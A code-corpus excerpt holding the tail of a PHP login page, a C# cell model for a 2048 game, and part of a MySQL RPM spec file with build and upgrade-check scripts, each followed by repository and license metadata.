<td><select name="sprache">
<?php
$res = getSprachen($link);
while($d = mysqli_fetch_array($res)){
$bezeichnung = $d["BEZEICHNUNG"];
$spracheID = $d["SPRACHE_ID"];
$sprache = "en";
$bezeichnung_en = getUebersetzung($bezeichnung);
?>
<option value="<?php echo($spracheID); ?>" <?php if ($sprache == $spracheID) echo(" selected"); ?>>
<?php
echo($bezeichnung_en."/".$bezeichnung);
?>
</option>
<?php
}
?>
</select></td>
</tr>
</table>
<p align="center">
<input name="anmelden" type="submit" class="button200pxA" onMouseOver="this.className='button200pxB';"
onMouseOut="this.className='button200pxA';" id="anmelden" value="login/anmelden"/>
</p>
</form>
<span class="standardSchriftBold"></span></td>
</tr>
</table>
</tr>
<tr>
<td align="center" valign="middle"><font size="1">© UTILO.eu,
2005 - <?php $timestamp = time();
$datum = date("Y",$timestamp);
echo($datum); ?></font></td>
</tr>
</table>
</body>
</html>
<?php
include_once($root."/include/closeDB.inc.php");
?>
|
utilo-web-app-development/REZERVI
|
rezerviGeneric/webinterface/index.php
|
PHP
|
gpl-2.0
| 4,790
|
using Catel.Data;
using System;
using System.Diagnostics;
namespace Wpf2048.Models
{
[DebuggerDisplay("({PosX},{PosY}) {Tile}")]
public class CellModel : ModelBase
{
public CellModel(int x, int y)
{
PosX = x;
PosY = y;
}
public int PosX { get; private set; }
public int PosY { get; private set; }
public TileModel Tile { get; set; }
internal void Reset()
{
Tile = null;
}
// Check if the specified cell is taken
public bool IsAvailable
{
get
{
return Tile == null;
}
}
public bool IsOccupied
{
get
{
return Tile != null;
}
}
/// <summary>
/// Returns the value of the tile if this cell is occupied, 0 otherwise
/// </summary>
public int Value
{
get
{
return Tile != null ? Tile.Value : 0;
}
}
}
}
|
jdehaan/Arena2048
|
Models/CellModel.cs
|
C#
|
gpl-2.0
| 1,147
|
# Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; see the file COPYING. If not, write to the
# Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston
# MA 02110-1301 USA.
##############################################################################
# Some common macro definitions
##############################################################################
# NOTE: "vendor" is used in upgrade/downgrade check, so you can't
# change these, has to be exactly as is.
%define mysql_old_vendor MySQL AB
%define mysql_vendor_2 Sun Microsystems, Inc.
%define mysql_vendor Oracle and/or its affiliates
%define mysql_version @VERSION@
%define mysqld_user mysql
%define mysqld_group mysql
%define mysqldatadir /var/lib/mysql
%define release 1
#
# Macros we use which are not available in all supported versions of RPM
#
# - defined/undefined are missing on RHEL4
#
%if %{expand:%{?defined:0}%{!?defined:1}}
%define defined() %{expand:%%{?%{1}:1}%%{!?%{1}:0}}
%endif
%if %{expand:%{?undefined:0}%{!?undefined:1}}
%define undefined() %{expand:%%{?%{1}:0}%%{!?%{1}:1}}
%endif
# ----------------------------------------------------------------------------
# RPM build tools now automatically detect Perl module dependencies. This
# detection causes problems as it is broken in some versions, and it also
# provides unwanted dependencies from mandatory scripts in our package.
# It might not be possible to disable this in all versions of RPM, but here we
# try anyway. We keep the "AutoReqProv: no" for the "test" sub package, as
# disabling here might fail, and that package has the most problems.
# See:
# http://fedoraproject.org/wiki/Packaging/Perl#Filtering_Requires:_and_Provides
# http://www.wideopen.com/archives/rpm-list/2002-October/msg00343.html
# ----------------------------------------------------------------------------
%undefine __perl_provides
%undefine __perl_requires
##############################################################################
# Command line handling
##############################################################################
#
# To set options:
#
# $ rpmbuild --define="option <x>" ...
#
# ----------------------------------------------------------------------------
# Commercial builds
# ----------------------------------------------------------------------------
%if %{undefined commercial}
%define commercial 0
%endif
# ----------------------------------------------------------------------------
# Source name
# ----------------------------------------------------------------------------
%if %{undefined src_base}
%define src_base mysql
%endif
%define src_dir %{src_base}-%{mysql_version}
# ----------------------------------------------------------------------------
# Feature set (storage engines, options). Default to community (everything)
# ----------------------------------------------------------------------------
%if %{undefined feature_set}
%define feature_set community
%endif
# ----------------------------------------------------------------------------
# Server comment strings
# ----------------------------------------------------------------------------
%if %{undefined compilation_comment_debug}
%define compilation_comment_debug MySQL Community Server - Debug (GPL)
%endif
%if %{undefined compilation_comment_release}
%define compilation_comment_release MySQL Community Server (GPL)
%endif
# ----------------------------------------------------------------------------
# Product and server suffixes
# ----------------------------------------------------------------------------
%if %{undefined product_suffix}
%if %{defined short_product_tag}
%define product_suffix -%{short_product_tag}
%else
%define product_suffix %{nil}
%endif
%endif
%if %{undefined server_suffix}
%define server_suffix %{nil}
%endif
# ----------------------------------------------------------------------------
# Distribution support
# ----------------------------------------------------------------------------
%if %{undefined distro_specific}
%define distro_specific 0
%endif
%if %{distro_specific}
%if %(test -f /etc/enterprise-release && echo 1 || echo 0)
%define oelver %(rpm -qf --qf '%%{version}\\n' /etc/enterprise-release | sed -e 's/^\\([0-9]*\\).*/\\1/g')
%if "%oelver" == "4"
%define distro_description Oracle Enterprise Linux 4
%define distro_releasetag oel4
%define distro_buildreq gcc-c++ gperf ncurses-devel perl time zlib-devel
%define distro_requires chkconfig coreutils grep procps shadow-utils net-tools
%else
%if "%oelver" == "5"
%define distro_description Oracle Enterprise Linux 5
%define distro_releasetag oel5
%define distro_buildreq gcc-c++ gperf ncurses-devel perl time zlib-devel
%define distro_requires chkconfig coreutils grep procps shadow-utils net-tools
%else
%{error:Oracle Enterprise Linux %{oelver} is unsupported}
%endif
%endif
%else
%if %(test -f /etc/oracle-release && echo 1 || echo 0)
%define elver %(rpm -qf --qf '%%{version}\\n' /etc/oracle-release | sed -e 's/^\\([0-9]*\\).*/\\1/g')
%if "%elver" == "6"
%define distro_description Oracle Linux 6
%define distro_releasetag el6
%define distro_buildreq gcc-c++ ncurses-devel perl time zlib-devel
%define distro_requires chkconfig coreutils grep procps shadow-utils net-tools
%else
%{error:Oracle Linux %{elver} is unsupported}
%endif
%else
%if %(test -f /etc/redhat-release && echo 1 || echo 0)
%define rhelver %(rpm -qf --qf '%%{version}\\n' /etc/redhat-release | sed -e 's/^\\([0-9]*\\).*/\\1/g')
%if "%rhelver" == "4"
%define distro_description Red Hat Enterprise Linux 4
%define distro_releasetag rhel4
%define distro_buildreq gcc-c++ gperf ncurses-devel perl time zlib-devel
%define distro_requires chkconfig coreutils grep procps shadow-utils net-tools
%else
%if "%rhelver" == "5"
%define distro_description Red Hat Enterprise Linux 5
%define distro_releasetag rhel5
%define distro_buildreq gcc-c++ gperf ncurses-devel perl time zlib-devel
%define distro_requires chkconfig coreutils grep procps shadow-utils net-tools
%else
%if "%rhelver" == "6"
%define distro_description Red Hat Enterprise Linux 6
%define distro_releasetag rhel6
%define distro_buildreq gcc-c++ ncurses-devel perl time zlib-devel
%define distro_requires chkconfig coreutils grep procps shadow-utils net-tools
%else
%{error:Red Hat Enterprise Linux %{rhelver} is unsupported}
%endif
%endif
%endif
%else
%if %(test -f /etc/SuSE-release && echo 1 || echo 0)
%define susever %(rpm -qf --qf '%%{version}\\n' /etc/SuSE-release | cut -d. -f1)
%if "%susever" == "10"
%define distro_description SUSE Linux Enterprise Server 10
%define distro_releasetag sles10
%define distro_buildreq gcc-c++ gdbm-devel gperf ncurses-devel openldap2-client zlib-devel
%define distro_requires aaa_base coreutils grep procps pwdutils
%else
%if "%susever" == "11"
%define distro_description SUSE Linux Enterprise Server 11
%define distro_releasetag sles11
%define distro_buildreq gcc-c++ gdbm-devel gperf ncurses-devel openldap2-client procps pwdutils zlib-devel
%define distro_requires aaa_base coreutils grep procps pwdutils
%else
%{error:SuSE %{susever} is unsupported}
%endif
%endif
%else
%{error:Unsupported distribution}
%endif
%endif
%endif
%endif
%else
%define glibc_version %(/lib/libc.so.6 | grep stable | cut -d, -f1 | cut -c38-)
%define distro_description Generic Linux (glibc %{glibc_version})
%define distro_releasetag linux_glibc%{glibc_version}
%define distro_buildreq gcc-c++ gperf ncurses-devel perl time zlib-devel
%define distro_requires coreutils grep procps /sbin/chkconfig /usr/sbin/useradd /usr/sbin/groupadd
%endif
# Avoid debuginfo RPMs, leaves binaries unstripped
%define debug_package %{nil}
# Hack to work around bug in RHEL5 __os_install_post macro, wrong inverted
# test for __debug_package
%define __strip /bin/true
# ----------------------------------------------------------------------------
# Support optional "tcmalloc" library (experimental)
# ----------------------------------------------------------------------------
%if %{defined malloc_lib_target}
%define WITH_TCMALLOC 1
%else
%define WITH_TCMALLOC 0
%endif
##############################################################################
# Configuration based upon above user input, not to be set directly
##############################################################################
%if %{commercial}
%define license_files_server %{src_dir}/LICENSE.mysql
%define license_type Commercial
%else
%define license_files_server %{src_dir}/COPYING %{src_dir}/README
%define license_type GPL
%endif
##############################################################################
# Main spec file section
##############################################################################
Name: MySQL%{product_suffix}
Summary: MySQL: a very fast and reliable SQL database server
Group: Applications/Databases
Version: @MYSQL_RPM_VERSION@
Release: %{release}%{?distro_releasetag:.%{distro_releasetag}}
Distribution: %{distro_description}
License: Copyright (c) 2000, @MYSQL_COPYRIGHT_YEAR@, %{mysql_vendor}. All rights reserved. Under %{license_type} license as shown in the Description field.
Source: http://www.mysql.com/Downloads/MySQL-@MYSQL_BASE_VERSION@/%{src_dir}.tar.gz
URL: http://www.mysql.com/
Packager: MySQL Release Engineering <mysql-build@oss.oracle.com>
Vendor: %{mysql_vendor}
Provides: msqlormysql MySQL-server
BuildRequires: %{distro_buildreq}
# Regression tests may take a long time, override the default to skip them
%{!?runselftest:%global runselftest 1}
# Think about what you use here since the first step is to
# run a rm -rf
BuildRoot: %{_tmppath}/%{name}-%{version}-build
# From the manual
%description
The MySQL(TM) software delivers a very fast, multi-threaded, multi-user,
and robust SQL (Structured Query Language) database server. MySQL Server
is intended for mission-critical, heavy-load production systems as well
as for embedding into mass-deployed software. MySQL is a trademark of
%{mysql_vendor}
The MySQL software has Dual Licensing, which means you can use the MySQL
software free of charge under the GNU General Public License
(http://www.gnu.org/licenses/). You can also purchase commercial MySQL
licenses from %{mysql_vendor} if you do not wish to be bound by the terms of
the GPL. See the chapter "Licensing and Support" in the manual for
further info.
The MySQL web site (http://www.mysql.com/) provides the latest
news and information about the MySQL software. Also please see the
documentation and the manual for more information.
##############################################################################
# Sub package definition
##############################################################################
%package -n MySQL-server%{product_suffix}
Summary: MySQL: a very fast and reliable SQL database server
Group: Applications/Databases
Requires: %{distro_requires}
%if %{defined susever}
Provides: msqlormysql MySQL MySQL-server
Conflicts: mysql mysql-server mysql-advanced mysql-server-advanced
Obsoletes: MySQL MySQL-server
Obsoletes: MySQL-server-classic MySQL-server-community MySQL-server-enterprise
Obsoletes: MySQL-server-advanced MySQL-server-advanced-gpl MySQL-server-enterprise-gpl
%else
Obsoletes: MySQL < %{version}-%{release}
Obsoletes: MySQL-server < %{version}-%{release}
Obsoletes: MySQL-server-advanced < %{version}-%{release}
Obsoletes: mysql mysql-server mysql-advanced mysql-server-advanced
Obsoletes: MySQL-server-classic MySQL-server-community MySQL-server-enterprise
Obsoletes: MySQL-server-advanced-gpl MySQL-server-enterprise-gpl
Provides: msqlormysql MySQL MySQL-server MySQL-server-advanced
%endif
%description -n MySQL-server%{product_suffix}
The MySQL(TM) software delivers a very fast, multi-threaded, multi-user,
and robust SQL (Structured Query Language) database server. MySQL Server
is intended for mission-critical, heavy-load production systems as well
as for embedding into mass-deployed software. MySQL is a trademark of
%{mysql_vendor}
The MySQL software has Dual Licensing, which means you can use the MySQL
software free of charge under the GNU General Public License
(http://www.gnu.org/licenses/). You can also purchase commercial MySQL
licenses from %{mysql_vendor} if you do not wish to be bound by the terms of
the GPL. See the chapter "Licensing and Support" in the manual for
further info.
The MySQL web site (http://www.mysql.com/) provides the latest news and
information about the MySQL software. Also please see the documentation
and the manual for more information.
This package includes the MySQL server binary as well as related utilities
to run and administer a MySQL server.
If you want to access and work with the database, you have to install
package "MySQL-client%{product_suffix}" as well!
# ----------------------------------------------------------------------------
%package -n MySQL-client%{product_suffix}
Summary: MySQL - Client
Group: Applications/Databases
%if %{defined susever}
Provides: MySQL-client
Conflicts: mysql mysql-advanced
Obsoletes: MySQL-client
Obsoletes: MySQL-client-classic MySQL-client-community MySQL-client-enterprise
Obsoletes: MySQL-client-advanced MySQL-client-advanced-gpl MySQL-client-enterprise-gpl
%else
Obsoletes: mysql mysql-advanced
Obsoletes: MySQL-client < %{version}-%{release}
Obsoletes: MySQL-client-advanced < %{version}-%{release}
Obsoletes: MySQL-client-classic MySQL-client-community MySQL-client-enterprise
Obsoletes: MySQL-client-advanced-gpl MySQL-client-enterprise-gpl
Provides: MySQL-client MySQL-client-advanced
Provides: mysql
%endif
%description -n MySQL-client%{product_suffix}
This package contains the standard MySQL clients and administration tools.
For a description of MySQL see the base MySQL RPM or http://www.mysql.com/
# ----------------------------------------------------------------------------
%package -n MySQL-test%{product_suffix}
Summary: MySQL - Test suite
Group: Applications/Databases
%if %{defined susever}
Requires: MySQL-client perl
Provides: MySQL-test
Conflicts: mysql-test mysql-test-advanced
Obsoletes: MySQL-test
Obsoletes: MySQL-test-classic MySQL-test-community MySQL-test-enterprise
Obsoletes: MySQL-test-advanced MySQL-test-advanced-gpl MySQL-test-enterprise-gpl
AutoReqProv: no
%else
Requires: MySQL-client perl
Conflicts: mysql-test mysql-test-advanced
Obsoletes: MySQL-test < %{version}-%{release}
Obsoletes: MySQL-test-advanced < %{version}-%{release}
Obsoletes: MySQL-test-classic MySQL-test-community MySQL-test-enterprise
Obsoletes: MySQL-test-advanced-gpl MySQL-test-enterprise-gpl
Provides: MySQL-test MySQL-test-advanced
AutoReqProv: no
%endif
%description -n MySQL-test%{product_suffix}
This package contains the MySQL regression test suite.
For a description of MySQL see the base MySQL RPM or http://www.mysql.com/
# ----------------------------------------------------------------------------
%package -n MySQL-devel%{product_suffix}
Summary: MySQL - Development header files and libraries
Group: Applications/Databases
%if %{defined susever}
Provides: MySQL-devel
Conflicts: mysql-devel mysql-embedded-devel mysql-devel-advanced mysql-embedded-devel-advanced
Obsoletes: MySQL-devel
Obsoletes: MySQL-devel-classic MySQL-devel-community MySQL-devel-enterprise
Obsoletes: MySQL-devel-advanced MySQL-devel-advanced-gpl MySQL-devel-enterprise-gpl
%else
Conflicts: mysql-devel mysql-embedded-devel mysql-devel-advanced mysql-embedded-devel-advanced
Obsoletes: MySQL-devel < %{version}-%{release}
Obsoletes: MySQL-devel-advanced < %{version}-%{release}
Obsoletes: MySQL-devel-classic MySQL-devel-community MySQL-devel-enterprise
Obsoletes: MySQL-devel-advanced-gpl MySQL-devel-enterprise-gpl
Provides: MySQL-devel MySQL-devel-advanced
%endif
%description -n MySQL-devel%{product_suffix}
This package contains the development header files and libraries necessary
to develop MySQL client applications.
For a description of MySQL see the base MySQL RPM or http://www.mysql.com/
# ----------------------------------------------------------------------------
%package -n MySQL-shared%{product_suffix}
Summary: MySQL - Shared libraries
Group: Applications/Databases
%if %{defined susever}
Provides: MySQL-shared
Obsoletes: MySQL-shared-standard MySQL-shared-pro
Obsoletes: MySQL-shared-pro-cert MySQL-shared-pro-gpl
Obsoletes: MySQL-shared-pro-gpl-cert MySQL-shared
Obsoletes: MySQL-shared-classic MySQL-shared-community MySQL-shared-enterprise
Obsoletes: MySQL-shared-advanced MySQL-shared-advanced-gpl MySQL-shared-enterprise-gpl
%else
Obsoletes: MySQL-shared-standard MySQL-shared-pro
Obsoletes: MySQL-shared-pro-cert MySQL-shared-pro-gpl
Obsoletes: MySQL-shared < %{version}-%{release}
Obsoletes: MySQL-shared-advanced < %{version}-%{release}
Obsoletes: MySQL-shared-pro-gpl-cert
Obsoletes: MySQL-shared-classic MySQL-shared-community MySQL-shared-enterprise
Obsoletes: MySQL-shared-advanced-gpl MySQL-shared-enterprise-gpl
Provides: MySQL-shared MySQL-shared-advanced
%endif
%description -n MySQL-shared%{product_suffix}
This package contains the shared libraries (*.so*) which certain languages
and applications need to dynamically load and use MySQL.
# ----------------------------------------------------------------------------
%package -n MySQL-embedded%{product_suffix}
Summary: MySQL - Embedded library
Group: Applications/Databases
%if %{defined susever}
Requires: MySQL-devel
Provides: MySQL-embedded
Conflicts: mysql-embedded mysql-embedded-advanced
Obsoletes: MySQL-embedded
Obsoletes: MySQL-embedded-pro
Obsoletes: MySQL-embedded-classic MySQL-embedded-community MySQL-embedded-enterprise
Obsoletes: MySQL-embedded-advanced MySQL-embedded-advanced-gpl MySQL-embedded-enterprise-gpl
%else
Requires: MySQL-devel
Conflicts: mysql-embedded mysql-embedded-advanced
Obsoletes: MySQL-embedded-pro
Obsoletes: MySQL-embedded < %{version}-%{release}
Obsoletes: MySQL-embedded-advanced < %{version}-%{release}
Obsoletes: MySQL-embedded-classic MySQL-embedded-community MySQL-embedded-enterprise
Obsoletes: MySQL-embedded-advanced-gpl MySQL-embedded-enterprise-gpl
Provides: MySQL-embedded MySQL-embedded-advanced
%endif
%description -n MySQL-embedded%{product_suffix}
This package contains the MySQL server as an embedded library.
The embedded MySQL server library makes it possible to run a full-featured
MySQL server inside the client application. The main benefits are increased
speed and more simple management for embedded applications.
The API is identical for the embedded MySQL version and the
client/server version.
For a description of MySQL see the base MySQL RPM or http://www.mysql.com/
##############################################################################
%prep
%setup -T -a 0 -c -n %{src_dir}
##############################################################################
%build
# Fail quickly and obviously if user tries to build as root
%if %runselftest
if [ x"`id -u`" = x0 ]; then
echo "The MySQL regression tests may fail if run as root."
echo "If you really need to build the RPM as root, use"
echo "--define='runselftest 0' to skip the regression tests."
exit 1
fi
%endif
# Be strict about variables, bail at earliest opportunity, etc.
set -eu
# Optional package files
touch optional-files-devel
#
# Set environment in order of preference, MYSQL_BUILD_* first, then variable
# name, finally a default. RPM_OPT_FLAGS is assumed to be a part of the
# default RPM build environment.
#
# This is a hack, $RPM_OPT_FLAGS on ia64 hosts contains flags which break
# the compile in cmd-line-utils/libedit - needs investigation, but for now
# we simply unset it and use those specified directly in cmake.
%if "%{_arch}" == "ia64"
RPM_OPT_FLAGS=
%endif
export PATH=${MYSQL_BUILD_PATH:-$PATH}
export CC=${MYSQL_BUILD_CC:-${CC:-gcc}}
export CXX=${MYSQL_BUILD_CXX:-${CXX:-g++}}
export CFLAGS=${MYSQL_BUILD_CFLAGS:-${CFLAGS:-$RPM_OPT_FLAGS}}
export CXXFLAGS=${MYSQL_BUILD_CXXFLAGS:-${CXXFLAGS:-$RPM_OPT_FLAGS -felide-constructors}}
export LDFLAGS=${MYSQL_BUILD_LDFLAGS:-${LDFLAGS:-}}
export CMAKE=${MYSQL_BUILD_CMAKE:-${CMAKE:-cmake}}
export MAKE_JFLAG=${MYSQL_BUILD_MAKE_JFLAG:-}
# By default, a build will include the bundeled "yaSSL" library for SSL.
# However, there may be a need to override.
# Protect against undefined variables if there is no override option.
%if %{undefined with_ssl}
%define ssl_option %{nil}
%else
%define ssl_option -DWITH_SSL=%{with_ssl}
%endif
# Build debug mysqld and libmysqld.a
mkdir debug
(
cd debug
# Attempt to remove any optimisation flags from the debug build
CFLAGS=`echo " ${CFLAGS} " | \
sed -e 's/ -O[0-9]* / /' \
-e 's/ -unroll2 / /' \
-e 's/ -ip / /' \
-e 's/^ //' \
-e 's/ $//'`
CXXFLAGS=`echo " ${CXXFLAGS} " | \
sed -e 's/ -O[0-9]* / /' \
-e 's/ -unroll2 / /' \
-e 's/ -ip / /' \
-e 's/^ //' \
-e 's/ $//'`
# XXX: MYSQL_UNIX_ADDR should be in cmake/* but mysql_version is included before
# XXX: install_layout so we can't just set it based on INSTALL_LAYOUT=RPM
${CMAKE} ../%{src_dir} -DBUILD_CONFIG=mysql_release -DINSTALL_LAYOUT=RPM \
-DCMAKE_BUILD_TYPE=Debug \
-DMYSQL_UNIX_ADDR="%{mysqldatadir}/mysql.sock" \
-DFEATURE_SET="%{feature_set}" \
%{ssl_option} \
-DCOMPILATION_COMMENT="%{compilation_comment_debug}" \
-DMYSQL_SERVER_SUFFIX="%{server_suffix}"
echo BEGIN_DEBUG_CONFIG ; egrep '^#define' include/config.h ; echo END_DEBUG_CONFIG
make ${MAKE_JFLAG} VERBOSE=1
)
# Build full release
mkdir release
(
cd release
# XXX: MYSQL_UNIX_ADDR should be in cmake/* but mysql_version is included before
# XXX: install_layout so we can't just set it based on INSTALL_LAYOUT=RPM
${CMAKE} ../%{src_dir} -DBUILD_CONFIG=mysql_release -DINSTALL_LAYOUT=RPM \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DMYSQL_UNIX_ADDR="%{mysqldatadir}/mysql.sock" \
-DFEATURE_SET="%{feature_set}" \
%{ssl_option} \
-DCOMPILATION_COMMENT="%{compilation_comment_release}" \
-DMYSQL_SERVER_SUFFIX="%{server_suffix}"
echo BEGIN_NORMAL_CONFIG ; egrep '^#define' include/config.h ; echo END_NORMAL_CONFIG
make ${MAKE_JFLAG} VERBOSE=1
)
%if %runselftest
MTR_BUILD_THREAD=auto
export MTR_BUILD_THREAD
(cd release && make test-bt-fast || true)
%endif
##############################################################################
%install
RBR=$RPM_BUILD_ROOT
MBD=$RPM_BUILD_DIR/%{src_dir}
# Ensure that needed directories exists
install -d $RBR%{_sysconfdir}/{logrotate.d,init.d}
install -d $RBR%{mysqldatadir}/mysql
install -d $RBR%{_datadir}/mysql-test
install -d $RBR%{_datadir}/mysql/SELinux/RHEL4
install -d $RBR%{_includedir}
install -d $RBR%{_libdir}
install -d $RBR%{_mandir}
install -d $RBR%{_sbindir}
# Install all binaries
(
cd $MBD/release
make DESTDIR=$RBR install
)
# FIXME: at some point we should stop doing this and just install everything
# FIXME: directly into %{_libdir}/mysql - perhaps at the same time as renaming
# FIXME: the shared libraries to use libmysql*-$major.$minor.so syntax
mv -v $RBR/%{_libdir}/*.a $RBR/%{_libdir}/mysql/
# Install logrotate and autostart
install -m 644 $MBD/release/support-files/mysql-log-rotate $RBR%{_sysconfdir}/logrotate.d/mysql
install -m 755 $MBD/release/support-files/mysql.server $RBR%{_sysconfdir}/init.d/mysql
# Create a symlink "rcmysql", pointing to the init.script. SuSE users
# will appreciate that, as all services usually offer this.
ln -s %{_sysconfdir}/init.d/mysql $RBR%{_sbindir}/rcmysql
# Touch the place where the my.cnf config file might be located
# Just to make sure it's in the file list and marked as a config file
touch $RBR%{_sysconfdir}/my.cnf
# Install SELinux files in datadir
install -m 600 $MBD/%{src_dir}/support-files/RHEL4-SElinux/mysql.{fc,te} \
$RBR%{_datadir}/mysql/SELinux/RHEL4
%if %{WITH_TCMALLOC}
# Even though this is a shared library, put it under /usr/lib*/mysql, so it
# doesn't conflict with possible shared lib by the same name in /usr/lib*. See
# `mysql_config --variable=pkglibdir` and mysqld_safe for how this is used.
install -m 644 "%{malloc_lib_source}" \
"$RBR%{_libdir}/mysql/%{malloc_lib_target}"
%endif
# Remove man pages we explicitly do not want to package, avoids 'unpackaged
# files' warning.
# This has become obsolete: rm -f $RBR%{_mandir}/man1/make_win_bin_dist.1*
##############################################################################
# Post processing actions, i.e. when installed
##############################################################################
%pre -n MySQL-server%{product_suffix}
# This is the code running at the beginning of a RPM upgrade action,
# before replacing the old files with the new ones.
# ATTENTION: Parts of this are duplicated in the "triggerpostun" !
# There are users who deviate from the default file system layout.
# Check local settings to support them.
if [ -x %{_bindir}/my_print_defaults ]
then
mysql_datadir=`%{_bindir}/my_print_defaults server mysqld | grep '^--datadir=' | sed -n 's/--datadir=//p'`
PID_FILE_PATT=`%{_bindir}/my_print_defaults server mysqld | grep '^--pid-file=' | sed -n 's/--pid-file=//p'`
fi
if [ -z "$mysql_datadir" ]
then
mysql_datadir=%{mysqldatadir}
fi
if [ -z "$PID_FILE_PATT" ]
then
PID_FILE_PATT="$mysql_datadir/*.pid"
fi
# Check if we can safely upgrade. An upgrade is only safe if it's from one
# of our RPMs in the same version family.
# Handle both ways of spelling the capability.
installed=`rpm -q --whatprovides mysql-server 2> /dev/null`
if [ $? -ne 0 -o -z "$installed" ]; then
installed=`rpm -q --whatprovides MySQL-server 2> /dev/null`
fi
if [ $? -eq 0 -a -n "$installed" ]; then
installed=`echo $installed | sed 's/\([^ ]*\) .*/\1/'` # Tests have shown duplicated package names
vendor=`rpm -q --queryformat='%{VENDOR}' "$installed" 2>&1`
version=`rpm -q --queryformat='%{VERSION}' "$installed" 2>&1`
myoldvendor='%{mysql_old_vendor}'
myvendor_2='%{mysql_vendor_2}'
myvendor='%{mysql_vendor}'
myversion='%{mysql_version}'
old_family=`echo $version \
| sed -n -e 's,^\([1-9][0-9]*\.[0-9][0-9]*\)\..*$,\1,p'`
new_family=`echo $myversion \
| sed -n -e 's,^\([1-9][0-9]*\.[0-9][0-9]*\)\..*$,\1,p'`
[ -z "$vendor" ] && vendor='<unknown>'
[ -z "$old_family" ] && old_family="<unrecognized version $version>"
[ -z "$new_family" ] && new_family="<bad package specification: version $myversion>"
error_text=
if [ "$vendor" != "$myoldvendor" \
-a "$vendor" != "$myvendor_2" \
-a "$vendor" != "$myvendor" ]; then
error_text="$error_text
The current MySQL server package is provided by a different
vendor ($vendor) than $myoldvendor, $myvendor_2, or $myvendor.
Some files may be installed to different locations, including log
files and the service startup script in %{_sysconfdir}/init.d/.
"
fi
if [ "$old_family" != "$new_family" ]; then
error_text="$error_text
Upgrading directly from MySQL $old_family to MySQL $new_family may not
be safe in all cases. A manual dump and restore using mysqldump is
recommended. It is important to review the MySQL manual's Upgrading
section for version-specific incompatibilities.
"
fi
if [ -n "$error_text" ]; then
cat <<HERE >&2
******************************************************************
A MySQL server package ($installed) is installed.
$error_text
A manual upgrade is required.
- Ensure that you have a complete, working backup of your data and my.cnf
files
- Shut down the MySQL server cleanly
- Remove the existing MySQL packages. Usually this command will
list the packages you should remove:
rpm -qa | grep -i '^mysql-'
You may choose to use 'rpm --nodeps -ev <package-name>' to remove
the package which contains the mysqlclient shared library. The
library will be reinstalled by the MySQL-shared-compat package.
- Install the new MySQL packages supplied by $myvendor
- Ensure that the MySQL server is started
- Run the 'mysql_upgrade' program
This is a brief description of the upgrade process. Important details
can be found in the MySQL manual, in the Upgrading section.
******************************************************************
HERE
exit 1
fi
fi
# We assume that if there is exactly one ".pid" file,
# it contains the valid PID of a running MySQL server.
NR_PID_FILES=`ls $PID_FILE_PATT 2>/dev/null | wc -l`
case $NR_PID_FILES in
0 ) SERVER_TO_START='' ;; # No "*.pid" file == no running server
1 ) SERVER_TO_START='true' ;;
* ) SERVER_TO_START='' # Situation not clear
SEVERAL_PID_FILES=true ;;
esac
# That logic may be debated: We might check whether it is non-empty,
# contains exactly one number (possibly a PID), and whether "ps" finds it.
# OTOH, if there is no such process, it means a crash without a cleanup -
# is that a reason not to start a new server after upgrade?
STATUS_FILE=$mysql_datadir/RPM_UPGRADE_MARKER
if [ -f $STATUS_FILE ]; then
echo "Some previous upgrade was not finished:"
ls -ld $STATUS_FILE
echo "Please check its status, then do"
echo " rm $STATUS_FILE"
echo "before repeating the MySQL upgrade."
exit 1
elif [ -n "$SEVERAL_PID_FILES" ] ; then
echo "You have more than one PID file:"
ls -ld $PID_FILE_PATT
echo "Please check which one (if any) corresponds to a running server"
echo "and delete all others before repeating the MySQL upgrade."
exit 1
fi
NEW_VERSION=%{mysql_version}-%{release}
# The "pre" section code is also run on a first installation,
# when there is no data directory yet. Protect against error messages.
# Check for the existence of subdirectory "mysql/", the database of system
# tables like "mysql.user".
if [ -d $mysql_datadir/mysql ] ; then
echo "MySQL RPM upgrade to version $NEW_VERSION" > $STATUS_FILE
echo "'pre' step running at `date`" >> $STATUS_FILE
echo >> $STATUS_FILE
fcount=`ls -ltr $mysql_datadir/*.err 2>/dev/null | wc -l`
if [ $fcount -gt 0 ] ; then
echo "ERR file(s):" >> $STATUS_FILE
ls -ltr $mysql_datadir/*.err >> $STATUS_FILE
echo >> $STATUS_FILE
echo "Latest 'Version' line in latest file:" >> $STATUS_FILE
grep '^Version' `ls -tr $mysql_datadir/*.err | tail -1` | \
tail -1 >> $STATUS_FILE
echo >> $STATUS_FILE
fi
if [ -n "$SERVER_TO_START" ] ; then
# There is only one PID file, race possibility ignored
echo "PID file:" >> $STATUS_FILE
ls -l $PID_FILE_PATT >> $STATUS_FILE
cat $PID_FILE_PATT >> $STATUS_FILE
echo >> $STATUS_FILE
echo "Server process:" >> $STATUS_FILE
ps -fp `cat $PID_FILE_PATT` >> $STATUS_FILE
echo >> $STATUS_FILE
echo "SERVER_TO_START=$SERVER_TO_START" >> $STATUS_FILE
else
# Take a note we checked it ...
echo "PID file:" >> $STATUS_FILE
ls -l $PID_FILE_PATT >> $STATUS_FILE 2>&1
fi
fi
# Shut down a previously installed server first
# Note we *could* make that depend on $SERVER_TO_START, but we rather don't,
# so a "stop" is attempted even if there is no PID file.
# (Maybe the "stop" doesn't work then, but we might fix that in itself.)
if [ -x %{_sysconfdir}/init.d/mysql ] ; then
%{_sysconfdir}/init.d/mysql stop > /dev/null 2>&1
echo "Giving mysqld 5 seconds to exit nicely"
sleep 5
fi
%post -n MySQL-server%{product_suffix}
# This is the code running at the end of a RPM install or upgrade action,
# after the (new) files have been written.
# ATTENTION: Parts of this are duplicated in the "triggerpostun" !
# There are users who deviate from the default file system layout.
# Check local settings to support them.
if [ -x %{_bindir}/my_print_defaults ]
then
mysql_datadir=`%{_bindir}/my_print_defaults server mysqld | grep '^--datadir=' | sed -n 's/--datadir=//p'`
fi
if [ -z "$mysql_datadir" ]
then
mysql_datadir=%{mysqldatadir}
fi
NEW_VERSION=%{mysql_version}-%{release}
STATUS_FILE=$mysql_datadir/RPM_UPGRADE_MARKER
# ----------------------------------------------------------------------
